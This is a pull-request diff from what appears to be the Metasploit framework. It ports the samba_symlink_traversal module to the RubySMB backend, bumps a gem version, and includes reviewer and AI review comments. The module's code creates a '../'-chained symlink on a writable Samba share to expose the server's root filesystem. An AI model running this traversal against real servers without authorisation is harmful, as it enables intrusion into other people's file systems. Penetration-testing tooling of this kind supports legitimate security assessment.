Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -612,7 +612,7 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.19)
ruby_smb (3.3.21)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
Expand Down
2 changes: 1 addition & 1 deletion lib/rex/proto/smb/simple_client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -279,7 +279,7 @@ def create_pipe(path, perm = 'o')
def trans_pipe(fid, data, no_response = nil)
session_lifetime do
client.trans_named_pipe(fid, data, no_response)
end
end
end

def negotiated_smb_version
Expand Down
10 changes: 6 additions & 4 deletions modules/auxiliary/admin/smb/samba_symlink_traversal.rb
Original file line number Diff line number Diff line change
Expand Up @@ -50,17 +50,19 @@ def initialize

def run
print_status('Connecting to the server...')
connect(versions: [1])
connect(versions: [1], backend: :ruby_smb)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just curious how far away are we from dropping the Rex client, is that being tracked somewhere? I assume we'll refactor out the backend: :ruby_smb once we're fully switched over?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's not being tracked anywhere that I'm aware of. The issue is that the remaining modules are all getting into edge cases such as this one where they either rely on functionality that RubySMB needs to have implemented or they're memory corruption vulnerabilities and we'd need likely need to test the exploits again on a live target to ensure that the RubySMB structures are equivalent to the Rex structures. My guess is this PR and the associated RubySMB PR are probably around 1/8th of the remaining work.

smb_login

print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
simple.client.symlink(datastore['SMBTARGET'], '../' * 10)
simple.client.last_tree.set_unix_link(symlink: datastore['SMBTARGET'], target: '../' * 10)
Comment on lines 56 to +60

Copilot AI Apr 28, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Important: Problem: simple.connect(...) doesn’t provide the Tree object and the next line relies on simple.client.last_tree, which is not a pattern used elsewhere (other RubySMB-using modules store the return value of tree_connect, e.g. modules/auxiliary/scanner/smb/smb_enumshares.rb:192 and smb_enum_gpp.rb:175). Impact: this adds a hidden dependency on RubySMB client state and can break if last_tree isn’t set to the intended share/tree. Fix: call tree = simple.client.tree_connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}") and invoke tree.set_unix_link(...) on that explicit tree instance.

Copilot uses AI. Check for mistakes.

print_status('Now access the following share to browse the root filesystem:')
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line('')
print_status(" \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
rescue RubySMB::Error::UnexpectedStatusCode => e
elog(e.message, error: e)
fail_with(Failure::UnexpectedReply, e.message)
end
end
Loading